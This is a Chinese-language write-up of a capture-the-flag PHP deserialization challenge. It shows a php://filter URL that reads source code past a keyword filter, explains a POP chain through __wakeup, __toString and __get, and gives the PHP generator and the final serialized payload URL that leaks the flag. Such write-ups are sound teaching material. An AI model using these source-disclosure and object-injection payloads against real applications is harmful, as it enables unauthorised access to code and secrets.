本题是某信有一次内部比赛的题目,涉及到pop链的构造问题,所以在这里与大家分享一下
题目
查看源码
逻辑是当参数fn存在且不包含string、zlib、flag这三个字符串时,进行文件包含
这里的过滤是为了防止我们直接读取到flag.php的源码,因为毕竟题名是反序列化
如果不存在fn,对code进行反序列化
先利用php://filter伪协议读取try.php源码
http://1.1.1.1:8080/?fn=php://filter/read=convert.base64-encode/resource=try.php
再base64解码之后拿到源码
1 <?php 2 $test = "Hello world"; 3 include "flag.php"; 4 function check_fn($filename){ 5 $result = preg_match("/string|zlib|flag/i", $filename); 6 if($result){ 7 return FALSE; 8 } 9 return TRUE; 10 } 11
12 class agood { 13 private $gooda; 14 function __wakeup(){ 15 $temp = $this->gooda . 'ctf'; 16 } 17 } 18
19 class bgood { 20 private $items = array(); 21 public function __toString() { 22 $item = $this->items; 23 $str = $item['ss']->sword; 24 return 'what the good?'; 25 } 26 } 27
28 class cgood { 29 private $params = array(); 30 public function __get($key) { 31 global $flag; 32 $tmp = $this->params[$key]; 33 var_dump($$tmp); 34 } 35 }
分析
这里的思路是,对agood类反序列化触发__wakeup魔术方法,执行过程中调用了$gooda进行了字符串拼接,触发了bgood中的__toString魔术方法,方法内部调用$items[‘ss’]的变量,调用对象中不存在的成员变量,触发__get($key),方法,这里的$key就是我们所调用的变量的值,也就是sword。
最后输出$$tmp,也就是要将$tmp赋值为flag,给cgood中params[$sword]赋值为flag即可。
整理一下思路:
agood中的$this->gooda触发bgood中的__toString方法,将$this->gooda赋值为new bgood()。
bgood中的$items[‘ss’]触发cgood中的__get函数,给$items[‘ss’]赋值为new cgood()。
最后让cgood中的$params[‘sword’]=”flag”
payload
1 <?php 2 class agood{ 3 private $gooda; 4 function __construct() 5 { 6 $this->gooda = new bgood(); 7 } 8
9 } 10 class bgood{ 11
12 private $items = array(); 13 function __construct(){ 14 $this->items = array("ss"=>new cgood()); 15 } 16 } 17
18 class cgood{ 19 private $params = array("sword"=>"flag"); 20 } 21 echo serialize(new agood()); 22 ?>
由于变量都是私有的,所以需要在变量名之前加上%00类名%00
这里我们直接输出,%00是输出不出来的,所以手动加上
最后是:
http://1.1.1.1:8080/?code=O:5:%22agood%22:1:{s:12:%22%00agood%00gooda%22;O:5:%22bgood%22:1:{s:12:%22%00bgood%00items%22;a:1:{s:2:%22ss%22;O:5:%22cgood%22:1:{s:13:%22%00cgood%00params%22;a:1:{s:5:%22sword%22;s:4:%22flag%22;}}}}}